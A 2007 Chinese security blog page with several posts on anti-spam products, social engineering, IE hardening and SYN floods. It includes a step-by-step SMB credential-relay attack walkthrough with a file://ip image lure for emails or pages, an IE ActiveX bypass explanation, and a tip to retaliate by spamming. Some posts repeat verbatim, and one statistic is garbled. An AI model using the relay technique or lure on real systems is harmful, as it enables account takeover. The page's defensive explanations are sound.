全面了解各种反垃圾邮件的解决方案
[ 2007-03-25 02:55:41 | 作者: sun ]
自2000年后,互联网技术飞速发展,邮件技术已经逐步成为了现代社会最重要的沟通工具之一。然而,予生俱来的是垃圾邮件对邮件用户的侵扰;到2006年末,这种侵扰已经成为公认的最大的互联网应用威胁之一。有许多数字让人触目惊心:每天全球产生的垃圾邮件达1000封;用户收到的邮件之中,有94%是垃圾邮件;美国、中国是全世界最大的两个垃圾邮件生产国家和消费国;中国网民每周收到的垃圾邮件数平均达到了19.4封。这些垃圾邮件充斥着各种非请求的商业广告、色情与反动内容、政治敏感话题传播、甚至计算机病毒与恶意代码,给我们正常的邮件收发增加困难,使企业的网络与邮件资源被恶意浪费,甚至有可能对组织与个人的硬件资产遭受入侵、破坏等损失。垃圾邮件最新的形式是钓鱼邮件,Spammer通过传播类似银行及会员机构邮件的方式,来骗去用户的用户名和密码,直接获取非法利益;而有些则通过恶意代码控制计算机,使网络用户的计算机变成Zombie PC,利用这些PC来发送大量广告等垃圾邮件以获取商业价值。可以说,反垃圾邮件的斗争以及到了白热化的程度。
中国的反垃圾邮件技术研究几乎和国外同步,但产品化进程比较慢,基本上到2003年后才有初步能够应用的专业级产品与系统方案。在国际上,有两大开源社区比较权威,目前世界上大部分垃圾邮件的核心技术都来源这两个社区,一个是著名的SpamAssassin,一个是,Razor。而中国目前还没有形成比较成规模的反垃圾邮件技术开源社区。在技术上,特别是产品结构上都借鉴这些著名的先行者。
说到反垃圾邮件的技术方案,一般有三种类型的解决方案。
第一种是初级的用户级客户端方案。
大部分人都认为客户端方案效果不好,这里面其实有个误区,很多说法是包含了商业利益在里面的,所以就不能够客观的评价。客户端方案,有些人就认为是Foxmail、Outlook之类的邮件客户端自带的简单的黑白名单判别垃圾邮件功能,其实这是有误的。真正的客户端方案,不仅包含这些黑白名单功能,也包括其他类型方案一样的一些手段,象实时RBL、指纹检查、信任网络、甚至包含内容过滤等技术,由于它服务的对象是“客户端个人用户”,没有关注邮件服务器而已,然后它仍然是专业级别的反垃圾邮件防方案。关键是,需要找到专业的产品,而且这种方案在50人以下应用环境时具有很好的经济价值,在超过50人的应用环境下,这种方案就没有其他的方案更具竞争力。代表产品是全球知名的反垃圾邮件技术公司Cloudmark公司的个人版反垃圾邮件产品。
第二类技术方案是反垃圾邮件网关方案。
这种方案是目前应用最广泛,也是应用最简便的企业级反垃圾邮件方案。这种方案是各种反垃圾邮件技术综合到一台设备或者软件系统当中去,放在邮件服务器的前端,对进出邮件系统的所有邮件进行过滤、审查,对违反规则或者具有明显垃圾邮件特征的邮件予以处置。 网关型的反垃圾邮件方案,其形态可以是专用硬件产品,也可能是软件形式。需要特别强调的是,传统上认为硬件产品比软件产品好,这种认识也是有很大偏差的,需要差别的看:如果反垃圾邮件网关软件能够与邮件系统实现真正意义上的无缝结合的化,是能够大大提升系统的整体性能的,而不是象部分商业公司宣称的那样,硬件产品一定是最好的;原因很简单: 这中间节省了两个计算环节(反垃圾邮件系统在将邮件系统解包检后,可以不用打包就可以直接转给邮件系统接受;而邮件系统不需要先对邮件进行解包,就可以直接接受--减少动作,就意味着性能的提高)。
网关方案做为最主要的企业级反垃圾邮件方案,因各商业和研究机构的技术路线不同,主要有3种:
(1)基于经验规则和内容检查技术的技术路线。这类反垃圾邮件网关,以内容检查为主,主要的检查手段包括关键字过滤、贝叶斯过滤、基于规则的评分系统、邮件指纹检查、黑白名单技术、速率控制等等。需要的是提取样本、提取内容特征等信息,来检查与过滤垃圾邮件。代表的产品是梭子鱼反垃圾邮件系统。 需要注意的是,这类产品大多数需要进行大量的内容检查计算,对产品的系统结构和硬件平台的系统资源要求比较,性能峰值不是很高,特别是部分产品是用pear编写的,程序的限制,使得性能成为其最主要的瓶颈。 这点用户在选择时是需要关注的,选型时尽量采用高一点的型号,以应对突然的邮件高峰。
(2)智能行为识别技术路线。由于认识到基于规则与内容技术路线在性能上的局限性,有部分技术人士摈弃了内容检查,而是将产品方案的主要检查手段放在了邮件的协议分析。 这类技术通过总结和分析垃圾邮件发送者的各种共性行为,比如用客户端群发软件发送、高频率发送、Dns伪装、IP欺骗等等方法,解析出这些“垃圾行为”的特征并形成规则,用这写规则来判别一封邮件是否合法。这类技术,同时包括了众多的邮件合规性认证机制;同时也包含了部分杀病毒等内容层技术。 同样需要大家注意的是,这类技术针对的是大规模的、以群发为特征的垃圾邮件,而针对单个、无规律的、甚至是合法来源发送非法内容的邮件,没有很好的解决方案。因为它不强调内容检查,而对对垃圾邮件判定最重要的标准是“内容”非法! 但,这种技术已经能够拒绝大部分垃圾邮件了,因为绝大部分垃圾邮件确实是通过群发的方式产生的。 这类产品的代表厂商是敏讯科技,以及来自台湾的硕奇公司反垃圾邮件产品(该公司更宣称完全运用行为识别技术来反垃圾邮件)。
(3)混合模式路线。这种技术路线强调过程化处理技术,利用过程化处理技术整合各种反垃圾邮件技术,既包括基于协议分析的智能行为识别,也包括基于规则与内容检查的模式对比路线。反垃圾邮件网关在智能过程化处理平台的控制下,有次序的让邮件接受各个层次的合规性检查与内容检查。综合应用行为识别技术,在协议层对TCP/IP进行分析规范发件连接行为、在SMTP层对邮件从Hello、Auth、From、To、Data等各个层次进行合规性检查,对违发正常规则的邮件进行重点分析,对明显的群发行为予以处置。而内容检查阶段,也是严格按照“过程”来进行的,病毒查杀、用户级黑白名单、关键字、贝叶斯过滤、指纹检查、以及其他的基于内容检查的技术。 这类网关的设计架构比较好,“过程化”的处理办法,让大量的垃圾邮件在“前端”就被过滤掉,而在内容阶段系统的工作量非常的少,能够大幅度的提升系统的整体工作性能和垃圾处理能力。 这类产品的代表是Commontouch反垃圾引擎,以及智海华程CyanFilter反垃圾邮件引擎。 他们共同的特点是过程化处置,都拥有自己核心的反垃圾邮件引擎。Coummontouch的反垃圾引擎采用实时检查技术,轮回检查信任网络;而CyanFilter反垃圾邮件引擎则包含了中文分词、特征进化引擎技术等等,使得青莲Cyanlotus反垃圾网关更具有强大的中文垃圾能力。 另外,Cloudmark公司的电信级反垃圾邮件网关也同样拥有这中能力,其基因算法与全球最大“可信任用户网络”更是无与伦比。
第三类是ASP反垃圾邮件服务方案
这种方案主要针对用户数量少于500人的中小企业环境。反垃圾邮件服务提供商首先建立一个反垃圾邮件服务中心,这个中心的系统拥有同时向多域、多服务器提供反垃圾服务的能力。用户在购买了反垃圾邮件服务后,将自己邮件地址的MX记录指向该服务中心,该服务中心同时添加该用户域名,这样用户的邮件在到达用户的邮件系统(不管是购买的空间的方式,还是有独立服务器)前,首先达到ASP反垃圾邮件服务中心进行过滤检查,达到净化垃圾的目的。这种方案比较经济、不受地域和部署方式的限制。 但,目前为止,国内还没有实际投入运营的反垃圾邮件ASP出现。
用户,不管是个人用户还是企业级用户,在选择反垃圾邮件方案时,都需要认真考虑一下几个因素:
(1)经济性。个人用户和数量比较少的企业,可以选择采用专业客户端或者ASP反垃圾邮件服务的解决方案,既节省投资也具有同样的反垃圾效果,而且免去了后期维护之类。
(2)反垃圾系统的反垃圾效果。对反垃圾系统效果的评价一般包括垃圾邮件识别率、漏报率,同时更需要关注垃圾邮件误报率,特别是将正常邮件判别为垃圾邮件的“假阳性”误报问题,这是反垃圾邮件系统的最关键的参考因素。我们可以容忍一天收到若干垃圾邮件(当然是数量不多的情况下),但所有人都不能忍受有正常的邮件被错误的判定为“垃圾”而遭受“丢弃”!而评价反垃圾邮件系统反垃圾效果的方法,就是实际试用! 因为每个用户受的垃圾邮件类别是不一样的,有的用户垃圾邮件主要是英文垃圾、有的是中文垃圾、有的是图片的、有的则是广告文字的、还有的是钓鱼类的、而有的则是以病毒垃圾为住。不同的垃圾邮件特征,需要采用不同的反垃圾邮件产品方案:如英文垃圾多,则我们可以首选国外专业产品;如果中文垃圾多,则首先要考虑国内的,特别是有中文分词技术(由于中、日、韩三国语言的双字节及不分词的特殊性,一般反垃圾产品能难有效应对);而对病毒垃圾多的,则可以考虑主要由杀病毒公司提供的反垃圾邮件产品。
(3)注重系统的整体性能。反垃圾邮件产品,如果性能不过关,随着业务的增长和垃圾邮件泛滥问题的日益严重,可能会有很大问题,另外性能问题有可能会影响我们正常的邮件收发效率;由于产品在设计和硬件配置上的缺陷(特别是产品结构与设计语言的缺陷),导致邮件堵塞、溢出、正常邮件丢失、系统瘫痪等等,将会使我们损失惨重!
(4)管理简便与灵活性。一般来讲,灵活性与简便的要求是矛盾。我们的原则是,逐步减少网管人员和用户的工作量,同时又给予网管和用户最大限度的个性化需求。如每个用户都应该拥有自己的个性化黑白名单、自己个性化的关键字过滤策略等等,以使得我们反垃圾邮件系统更具有针对性和效率。选择产品时,一般要考虑web管理、参数设置简单、管理维护工作量少、拥有智能(特别是有自学习能力)的产品。同时,产品的升级要及时,特别是病毒库的升级。
综合以上的一些所述,用户在进行反垃圾邮件工作时,要全面了解各种反垃圾邮件方案与自己的实际需要想对应的程度,我们不能一味的听**厂家或者组织宣称自己是最好的和唯一好的解决方案,最好与最合适只有我们自己说了算。 品牌和市场保有量在中国没有参考意义(大部分品牌都是通过大量的宣传得来的,而中国用户是出名的“随大众,爱面子”),建议的做法是“试用”用实际效果说话!特殊的,在中国反垃圾,首先要把重点放在“中文”垃圾上、图片垃圾、钓鱼垃圾上! 同时,还要看该反垃圾方案是否具有完备的“挽回”机制,有全面的日志包括垃圾邮件日志、阻断邮件日志(大部分产品没有此功能)、病毒邮件日志以及收发的正常邮件日志。
反垃圾邮件是一件任重道远的事业,需要我们大家的共同努力。
防止雇员遭受社会工程学攻击
[ 2007-03-25 02:55:29 | 作者: sun ]
虽然我们确实在继续受到病毒、蠕虫、间谍软件和其它各种形式的恶意软件的威胁,但是,整个安全的状况在改善。防火墙已经取得了进步,更多的企业采取了更好的补丁管理措施,而且入侵防御和入侵检测等技术正在更广泛的应用。随着安全的这种增长,黑客在做什么呢?
黑客被迫在做攻击者过去做过的事情:把目标对准薄弱的环节。这个薄弱环节就是社会工程学的所在。社会工程学是一种危险的攻击机制,因为它不直接对目标实施攻击。社会工程学在IT领域被定义为一种说服人的技巧。据市场研究公司Gartner的一篇研究报告称,70%的以上的非授权访问信息系统是内部雇员所为,95%的以上的这种入侵导致了严重的金融损失。
你也许会想,这些数字表明许多遭受这种损失的公司都有坏雇员。但是,实际情况并非如此。许多雇员都是社会工程学攻击的受害者。一个社会工程学攻击者能够以多种方式向雇员展开攻击。Robert Cialdini撰写的“劝说的科学与实践”一书介绍了这些方法。这本书列出了社会工程学使用的六种主要方法。这些方法包括:
·经验不足:通过建立紧迫感操纵雇员。
·权威:根据权威的承诺欺骗雇员。例如,“你好,是服务台吗?我是为高级副总裁工作的,他需要立即重新设置他的口令。”
·一致性:人们喜欢平衡和秩序。例如,当人们问我们过的如何时,我们一般都回答说“很好!”。
·社会确认:根据这种想法,一个人可以做这个事情,其他人也可以做。例如,你曾看到酒吧服务员的装满了钱的罐子吗?这也许会让你想到如果每一个人都在往里放钱,你也应该那样做!
·回报:如果有人给你一个纪念品或者一个小礼物,你就要考虑回赠一些东西。
采取什么措施才能防止你的雇员被利用呢?第一,制定政策和程序。政策应该解决设置账户的规则、如何批准访问和改变口令的批准程序等问题。政策还应该解决人们担心的一些物理方面的问题,如碎纸片、锁、访问控制和如何陪同和监视访问者等。
第二,进行教育和培训。如果雇员不了解政策规定或者没有对这些政策规定的应用进行过培训,政策就毫无用处。如果雇员理解安全政策的目的以及忽略这些安全政策可能给公司带来的负面影响,雇员就会更好地遵守公司的这些政策。必须要对雇员进行培训,让他们知道如何报告安全突破事件。
最后,检验和监督遵守政策的情况。审计和定期检验有助于使政策结构更有效率。经常巡查各个部门并且寻找暴露的口令或者敏感的信息。检验也许还可以包括给雇员或者服务台打电话,看看是否能够强迫他们向你提供口令。当雇员遵守政策的时候,应该对于他们良好的安全行为给予奖励。通过遵守上述三个简单的步骤,你将极大的提高粉碎社会工程学攻击的能力。
黑客被迫在做攻击者过去做过的事情:把目标对准薄弱的环节。这个薄弱环节就是社会工程学的所在。社会工程学是一种危险的攻击机制,因为它不直接对目标实施攻击。社会工程学在IT领域被定义为一种说服人的技巧。据市场研究公司Gartner的一篇研究报告称,70%的以上的非授权访问信息系统是内部雇员所为,95%的以上的这种入侵导致了严重的金融损失。
你也许会想,这些数字表明许多遭受这种损失的公司都有坏雇员。但是,实际情况并非如此。许多雇员都是社会工程学攻击的受害者。一个社会工程学攻击者能够以多种方式向雇员展开攻击。Robert Cialdini撰写的“劝说的科学与实践”一书介绍了这些方法。这本书列出了社会工程学使用的六种主要方法。这些方法包括:
·经验不足:通过建立紧迫感操纵雇员。
·权威:根据权威的承诺欺骗雇员。例如,“你好,是服务台吗?我是为高级副总裁工作的,他需要立即重新设置他的口令。”
·一致性:人们喜欢平衡和秩序。例如,当人们问我们过的如何时,我们一般都回答说“很好!”。
·社会确认:根据这种想法,一个人可以做这个事情,其他人也可以做。例如,你曾看到酒吧服务员的装满了钱的罐子吗?这也许会让你想到如果每一个人都在往里放钱,你也应该那样做!
·回报:如果有人给你一个纪念品或者一个小礼物,你就要考虑回赠一些东西。
采取什么措施才能防止你的雇员被利用呢?第一,制定政策和程序。政策应该解决设置账户的规则、如何批准访问和改变口令的批准程序等问题。政策还应该解决人们担心的一些物理方面的问题,如碎纸片、锁、访问控制和如何陪同和监视访问者等。
第二,进行教育和培训。如果雇员不了解政策规定或者没有对这些政策规定的应用进行过培训,政策就毫无用处。如果雇员理解安全政策的目的以及忽略这些安全政策可能给公司带来的负面影响,雇员就会更好地遵守公司的这些政策。必须要对雇员进行培训,让他们知道如何报告安全突破事件。
最后,检验和监督遵守政策的情况。审计和定期检验有助于使政策结构更有效率。经常巡查各个部门并且寻找暴露的口令或者敏感的信息。检验也许还可以包括给雇员或者服务台打电话,看看是否能够强迫他们向你提供口令。当雇员遵守政策的时候,应该对于他们良好的安全行为给予奖励。通过遵守上述三个简单的步骤,你将极大的提高粉碎社会工程学攻击的能力。
教你十种方法 轻轻松松远离垃圾邮件
[ 2007-03-25 02:55:16 | 作者: sun ]
去年的最后一个月,美国调查表明垃圾邮件数量破了历史纪录,占所有邮件的94%。垃圾邮件已经成了除病毒木马之外,网络的另一大“公害”。ITsecurity整理了十种对付垃圾邮件的方法,让我们来看一下,因为是国外网站,是否符合我国情况还需斟酌。
1.使用邮件过滤系统
这应该是很多人常用的方法,大型邮件服务商也会提供此类服务,但是仍不够精确。
2.使用病毒过滤系统
很多垃圾邮件利用了木马病毒,你把病毒拒之门外,相关的垃圾邮件也就无机可乘了。
3.保护自己的邮件地址
最好把不同用途的邮箱分开,注册那些不重要的网站论坛之类的,可以专门申请一个“杂物箱”,你不随处暴露自己的邮箱地址,垃圾邮件通过猜测找到你的机会还是不大的。
4.测试谁在“扔垃圾”给你
如果怀疑某些站点在给你发送垃圾邮件,你可以用不同的邮箱注册试验一下,找出源头之后屏蔽之
5.收到垃圾邮件之后应该怎么做
首先不要打开它,因为很可能含病毒,然后退信,这样可能会让有些垃圾邮件服务器端认为你的信箱已经不可用。
6.退订(Opt-out)信件
美国的一项法案是:用户对于任何商业邮件可采用opt-out的方式退出,而发送商业邮件的公司必须按规定明确提示该邮件属于商业或广告性质,并提供可让收件人选择退出的方式,包括可回复的地址或可进入的网站。邮件发送者一旦收到用户的opt-out要求,必须在10天内响应,停止向该用户继续发送邮件。在国内可能不管用……
7.注意邮件的注册名
一个远离垃圾邮件的方法是选择合适的用户名。很多人喜欢用自己的名字或者aaa123之类的地址,这样很容易被字典破解出来。
8.远离危险区域
据统计,邮件病毒最多的三类站点分别是赌博、游戏和成人站,对于这些网站,要特别注意。
9.举报
将你发现的垃圾邮件发送者举报给相关机构,国内这一区域似乎空白,但是也可以向国外机构反映试试。
10.报复?
俗话说,君子报仇十年不晚,可以考虑用一些手段向垃圾邮件发送者发送垃圾邮件:P,当然你得小心,这种行为也可能会使你遭到法律的制裁。
1.使用邮件过滤系统
这应该是很多人常用的方法,大型邮件服务商也会提供此类服务,但是仍不够精确。
2.使用病毒过滤系统
很多垃圾邮件利用了木马病毒,你把病毒拒之门外,相关的垃圾邮件也就无机可乘了。
3.保护自己的邮件地址
最好把不同用途的邮箱分开,注册那些不重要的网站论坛之类的,可以专门申请一个“杂物箱”,你不随处暴露自己的邮箱地址,垃圾邮件通过猜测找到你的机会还是不大的。
4.测试谁在“扔垃圾”给你
如果怀疑某些站点在给你发送垃圾邮件,你可以用不同的邮箱注册试验一下,找出源头之后屏蔽之
5.收到垃圾邮件之后应该怎么做
首先不要打开它,因为很可能含病毒,然后退信,这样可能会让有些垃圾邮件服务器端认为你的信箱已经不可用。
6.退订(Opt-out)信件
美国的一项法案是:用户对于任何商业邮件可采用opt-out的方式退出,而发送商业邮件的公司必须按规定明确提示该邮件属于商业或广告性质,并提供可让收件人选择退出的方式,包括可回复的地址或可进入的网站。邮件发送者一旦收到用户的opt-out要求,必须在10天内响应,停止向该用户继续发送邮件。在国内可能不管用……
7.注意邮件的注册名
一个远离垃圾邮件的方法是选择合适的用户名。很多人喜欢用自己的名字或者aaa123之类的地址,这样很容易被字典破解出来。
8.远离危险区域
据统计,邮件病毒最多的三类站点分别是赌博、游戏和成人站,对于这些网站,要特别注意。
9.举报
将你发现的垃圾邮件发送者举报给相关机构,国内这一区域似乎空白,但是也可以向国外机构反映试试。
10.报复?
俗话说,君子报仇十年不晚,可以考虑用一些手段向垃圾邮件发送者发送垃圾邮件:P,当然你得小心,这种行为也可能会使你遭到法律的制裁。
系统泄露密码入侵攻击分析
[ 2007-03-25 02:55:05 | 作者: sun ]
WINDOWS访问139端口时自动用当前用户、密码连接,造成泄露用户密码,虽然其密码是加密的,但一样可以用来攻击。
下面是SMB的密码认证方式。
WINDOWS的139口的访问过程,箭头表示数据方向:
1.客户端<--------------------建立TCP连接----------------->服务端
2.客户端-------客户端类型、支持的服务方式列表等---------->服务端
3.客户端<---------服务器认证方式、加密用的key等-----------服务端
认证方式就是用户级认证还是共享级认证和密码加密不,key是服务器随机生成的8个字节,WIN2000已经支持16个字节的 key。
4.客户端--------------用户名、加密后密码----------------->服务端
WIN9X、WINNT、WIN2000这有个漏洞,不经过提示等就把当前用户名,密码加密后发过去了,导致密码泄漏。这儿加密是DES的变形,lockedpass=chgdes(key,pass)。这儿的pass是作为DES变形的KEY,key是作为DES变形的待加密数据。
5.客户端<---------------认证成功否-----------------------服务端
WINDOWS客户端第4步有漏洞,显然服务端可以得到username和lockedpass=chgdes(key,pass), 其中key可以自由指定,因为这是服务方提供的,usname、pass是客户端当前访问者用户名和密码。这儿的加密变换不可逆,但已经可以用暴力法破解了,也已经有了这样的程序。其实我们有时并不一定要得到密码明文的,只要能提供连接需要的就可以了。我们来看得到lockedpass有什么用,我们反过去访问看看,telnet、ftp等连接要密码明文我们得到的lockedpass不能提供,那么我们考虑用同样加密算法传密码密文的服务呢?比如就是NETBIOS共享服务。前面是服务端得到东西,那现在就是站在客户端了,再看前面那过程,显然其实我们并不需要提供pass,是不是只需要提供username和lockedpass2=chgdes(key2,pass)就可以了?其中key2是现在的服务端提供的。看看我们有 usname和lockedpass=chgdes(key,pass)其中key我们可以自己指定,大家一看显然只要key=key2那么就需要的我们都有了是不是?所以我们要使得key=key2.
好我们再仔细看看连接过程,别人连接两步1、2:
1.客户端<--------------------建立TCP连接----------------->服务端
2.客户端-------客户端类型、支持的服务方式列表等---------->服务端
下面就该
3.客户端<---------服务器认证方式、加密用的key等-----------服务端
这我们需要提供key,这儿我们不能随便提供key,需要提供key2,那么我们就要得到key2,显然需要连接NETBIOS服务回去。显然这而需要连接回去的11,22,33共3步(为了区分连接回去的步子用重号表示)才能得到key2,显然这2步和3步不需要有先后顺序。所以我们可以得到连接指定IP的NETBIOS服务然后等这用户来访问,这可能有时间超时等处理,或者等到任意IP连接NETBIOS服务后马上连回去,反正怎么处理方便、满足需要就怎么处理。
下面显然就是设置 key=key2返回3,那就等4得到lockedpass了,第5步嘛就你自由处理了,要不返回密码错误,后面就是44、55……
总的来就是1,2,11,22,33,3,4,5,44,55……显然你就是以那机器访问你的用户的身份去访问他的NETBIOS服务了,能干什么那就看那用户的权限了。
注意有兴趣的可以把SAMB包的客户端程序修改加上一点服务的前几步就可以了。显然这主要利用的还是WINDOWS泄露当前用户名、加密密码漏洞。还有这需要别人来访问你的机器,这好办,邮件或者主页等里面来个
IMGsrc”="file://ip/filename" ...
就可以了。我实验了去掉机器139口服务(要不有139口要影响后面端口重定向),用端口重定向程序把来向139口定向回去,找另一个WINNT机器用\\ip访问那重定向139口的机器,结果是没有密码提示就看到WINNT机器本身了。其实这时重定向端口程序那台机器已经用WINNT机器的当前用户访问WINNT了,只是由于没有客户端的处理界面不能操作。(T002)
网络安全之IE浏览器防黑秘技大曝光
[ 2007-03-25 02:54:52 | 作者: sun ]
针对IE的恶意修改、攻击方法非常多,本文中介绍的十种反黑技巧,一定会对你有所帮助。
1.管理好Cookie
在IE6.0中,打开“工具”→“Internet选项”→“隐私”对话框,这里设定了“阻止所有Cookie”、“高”、“中高”、“中”、“低”、“接受所有Cookie”六个级别(默认为“中”),你只要拖动滑块就可以方便地进行设定,而点击下方的“编辑”按钮,在“网站地址”中输入特定的网址,就可以将其设定为允许或拒绝它们使用Cookie。
2.禁用或限制使用Java程序及ActiveX控件
在网页中经常使用Java、Java Applet、ActiveX编写的脚本,它们可能会获取你的用户标识、IP地址,乃至口令,甚至会在你的机器上安装某些程序或进行其他操作,因此应对Java、Java小程序脚本、ActiveX控件和插件的使用进行限制。打开“Internet选项”→“安全”→“自定义级别”,就可以设置“ActiveX控件和插件”、“Java”、“脚本”、“下载”、“用户验证”以及其它安全选项。对于一些不太安全的控件或插件以及下载操作,应该予以禁止、限制,至少要进行提示。
3.防止泄露自己的信息
缺省条件下,用户在第一次使用Web地址、表单、表单的用户名和密码后,同意保存密码,在下一次再进入同样的Web页及输入密码时,只需输入开头部分,后面的就会自动完成,给用户带来了方便,但同时也留下了安全隐患,不过我们可以通过调整“自动完成”功能的设置来解决。设置方法如下:依次点击“Internet选项”→“内容”→“自动完成”,打开“自动完成设置”对话框,选中要使用的“自动完成”复选项。
提醒:为发安全起见,防止泄露自己的一些信息,应该定期清除历史记录,方法是在“自动完成设置”对话框中点击“清除表单”和“清除密码”按钮。
4.清除已浏览过的网址
在“Internet选项”对话框中的“常规”标签下单击历史记录区域的“清除历史记录”按钮即可。若只想清除部分记录,单击IE工具栏上的“历史”按钮,在左栏的地址历史记录中,找到希望清除的地址或其下网页,单击鼠标右键,从弹出的快捷菜单中选取“删除”。
5.清除已访问过的网页
为了加快浏览速度,IE会自动把你浏览过的网页保存在缓存文件夹“C:/Windows/Temporary Internet Files”下。当你确认不再需要浏览过的网页时,在此选中所有网页,删除即可。或者在“Internet选项”的“常规”标签下单击“Internet临时文件”项目中的“删除文件”按钮,在打开的“删除文件”对话框中选中“删除所有脱机内容”,单击“确定”,这种方法会遗留少许Cookie在文件夹内,为此IE6.0在“删除文件”按钮旁边增加了一个“删除Cookie”的按钮,通过它可以很方便地删除遗留的。
6.永远不怕IE主页地址被修改
众所周知,修改IE默认主页地址是恶意网页常用的一招。IE被修改后,会自动连接到恶意网页的地址。大家常用的方法是修改注册表,其实,只要简单给IE加个参数,就再也不害翴E主页地址被修改了。下面是具体的方法和步骤。
首先,打开“我的电脑”,找到IE的安装目录,这里假设你的IE安装在C:/Program FilesInternet Explorer下。进入该文件夹,找到Iexplore.exe文件,对着它点击鼠标右键,在弹出的快捷菜单中选择“发送到→桌面快捷方式”,这样就在桌面上建立了一个Iexplore.exe文件的快捷方式。如果你够仔细的话,你会发现你建立的这个快捷方式名字为“Iexplore.exe”,而桌面上原来的IE快捷方式名字为“Internet Explorer”,两者不仅名字不相同,而且“内涵”也不尽相同。
继续我们的工作,用鼠标右键单击该快捷方式,选择“属性”,会弹出“Iexplore.exe 属性”对话框,选择其中的“快捷方式”标签,然后在“目标”框里填入:"C:/Program Files/Internet Explorer/IEXPLORE.EXE" -nohome,给Iexplore.exe加上参数“-nohome”,输入时请大家注意在参数“-nohome”前面有一个空格,不要忘了,输入完毕。点击“确定”退出即可。
这样即使主页被修改也没有关系,打开IE就是一片空白,就连about:blank也不显示。而且这样能够加快启动速度,一点IE窗口马上就出蹦来了。
对于IE在安装时自己建立的快捷方式,我们无法为它加上上述参数。如果不信可以试试,用鼠标右键点击桌面上原来IE自建的快捷方式,选“属性”,会发现“目标”栏、“起始位置”栏、“快捷键”栏和“运行方式”栏都是灰色不可选取状态。这就是它们之间最大的不同!也是本文的关键所在。
7.挖出IE本地安全配置选项
在IE中可以通过点击“工具→Internet选项→安全”来设定电脑安全等级,之后会出现。从图中可以看出,在安全性设定中我们只能设定Internet、本地Intranet、受信任的站点、受限制的站点。不过,惯于隐藏其部分功能的微软(真不知微软是怎么想的,老和我们玩“捉迷藏”游戏),在这里又留了一手:其实这里还有一个隐藏的选项——就是“我的电脑”的安全性设定,如果你想看到它,可以通过修改注册表的方法来达到目的。
下面是具体的方法:打开“开始”菜单中的“运行”,在弹出的“运行”对话框中输入Regedit.exe,打开注册表编辑器,点击前面的“+”号顺次展开到:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet SettingsZones,在右边窗口中找到DWORD值“Flags”,默认键值为十六进制的21(十进制33),双击“Flags”,在弹出的对话框中将它的键值改为“1”即可,关闭注册表编辑器。无需重新启动电脑,重新打开IE,再次点击“工具→Internet选项→安全”标签,你就会看到多了一个“我的电脑”,在这里你可以对IE的本地安全进行配置。
这个小技巧有什么用呢?把下面的代码保存为一个html文件,然后运行试试就知道了:
运行上面的html文件,会打开你的计算机中c:/winnt/system32文件夹下的calc.exe文件!而且IE没有任何提示!即使在IE的安全设置中禁用ActiveX控件上述代码也能工作!如果不是calc.exe文件而是其他恶意文件又会怎么样?如果是在你浏览的网页中含有类似上面的代码又会怎么样?真危险啊!
之所以会这样是由于IE存在两个可怕的漏洞:可本地执行任意命令,IE的ActiveX安全设置可被绕过。在上述代码中我们给IE指定了一个系统中并不存在的控件号("clsid:88888888-8888-8888-8888-888888888888),IE会试图从codebase指定的地址去下载并安装改控件。根据codebase于是IE找到了c:/winnt/system32/calc.exe,接着IE开始“下载”并安装该程序。由于calc.exe是EXE文件,这样就等于是在运行该文件,所以calc.exe就被运行了!
那么为什么IE在“下载安装控件”过程中不提示用户,也不应用IE安全设置中的限定进行检测呢?这就是IE的ActiveX安全设置可被绕过漏洞造成的!其主要原因是IE安全设置都是针对非本地的页面或交互的,对于本地的安全设置IE是最大信任的。如果你注意看IE的安全设置,都是对Internet和Intranet上WEB服务器而言的,根本就没有对本地文件的安全设置。概括说来就是IE对本地安全采用最大信任原则。
解决的办法就是我们在开始说的那个技巧:挖出挖出IE本地安全配置选项,即修改IE安全设置中有关“我的电脑”的设置,选定后,禁用ActiveX下载就万事大吉了。
8.在DOS下打开“Internet属性”窗口
有时在浏览了某些恶意网页后,会导致IE的“Internet属性”对话框无法打开,这时我们可以在DOS窗口下输入:RunDll32.exe shell32.dll,Control_RunDLL inetcpl.cpl命令,就可打开IE的“Internet属性”对话框。要注意“Control_RunDLL”的大小写以及它前面的逗号(,)不要忘记了。RunDll32.exe是Windows动态链接库(DLL)管理工具,可以用来在命令行下执行动态链接库中的某个函数(或者功能模块)。
RunDll32的使用方法如下:RunDll32.EXE ,要注意以下几点:
(1)Dllname(就是制定DLL动态链接库所在位置和文件名)直接不能有空格;
(2)Dllname和entrypoint两者之间只能以“,”(逗号)分隔,逗号之后不能有空格,如果这里出错的话,你不会得到任何提示;
(3)optional arguments动态链接库调用参数,这个参数对大小写是很敏感的,注意不要写错。
9.解除IE的分级审查口令
有些时候,我们的IE会被人修改为设有分级审查口令,一旦被设置了分级审查口令,即使重新安装IE也是没有用的。怎么办呢?难道要格式化硬盘?千万不要!这里我有一个好办法,帮您解决这个问题。
进入注册表,找到HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersionpolicies\Ratings,这里有一个名为“key”的主键,这就是您设置的分级审查口令,直接将它删除即可。重新启动之后,点击“工具”→“Internet选项”→“内容”→“分级审查”,您会发现分级审查口令已经被复位了。现在您只要输入新的分级审查口令即可。
如果你用的是Windows 9x则更简单了,到C:\Windows\system目录里找到rating.pol文件,要注意这是一个隐藏文件,直接将它删除就可以解决问题了。
10. 预防网页恶意代码
许多恶意网页为防止有人查看其代码内容,采取了各种各样的方法求防止我们查看其源代码。然而,他们的一切努力也许都是白费心机。因为用如下的方法可以轻易地查看其源代码。只要在IE地址栏中输入View-Source:URL即可。举个例子,你想查看搜狐网站hxxp://www.juntuan.net的源代码,只要在IE地址栏中输入:View-Source:hxxp://www.juntuan.net,稍等一下就会弹出一个窗口,里面就是你想看到的网页源代码。赶快仔细看看,里面是否有更改注册表或暗中下载文件的恶意代码,如果有那就别进该网页了,很简单吧?这样做不仅可以学到别人的网页制作技术,更可以事先预防恶意代码,一举两得!
黑客知识之SYN攻击原理以及防范技术
[ 2007-03-25 02:54:39 | 作者: sun ]
据统计,在所有黑客攻击事件中,SYN攻击是最常见又最容易被利用的一种攻击手法。相信很多人还记得2000年YAHOO网站遭受的攻击事例,当时黑客利用的就是简单而有效的SYN攻击,有些网络蠕虫病毒配合SYN攻击造成更大的破坏。本文介绍SYN攻击的基本原理、工具及检测方法,并全面探讨SYN攻击防范技术。
据统计,在所有黑客攻击事件中,SYN攻击是最常见又最容易被利用的一种攻击手法。相信很多人还记得2000年YAHOO网站遭受的攻击事例,当时黑客利用的就是简单而有效的SYN攻击,有些网络蠕虫病毒配合SYN攻击造成更大的破坏。本文介绍SYN攻击的基本原理、工具及检测方法,并全面探讨SYN攻击防范技术。
一、TCP握手协议
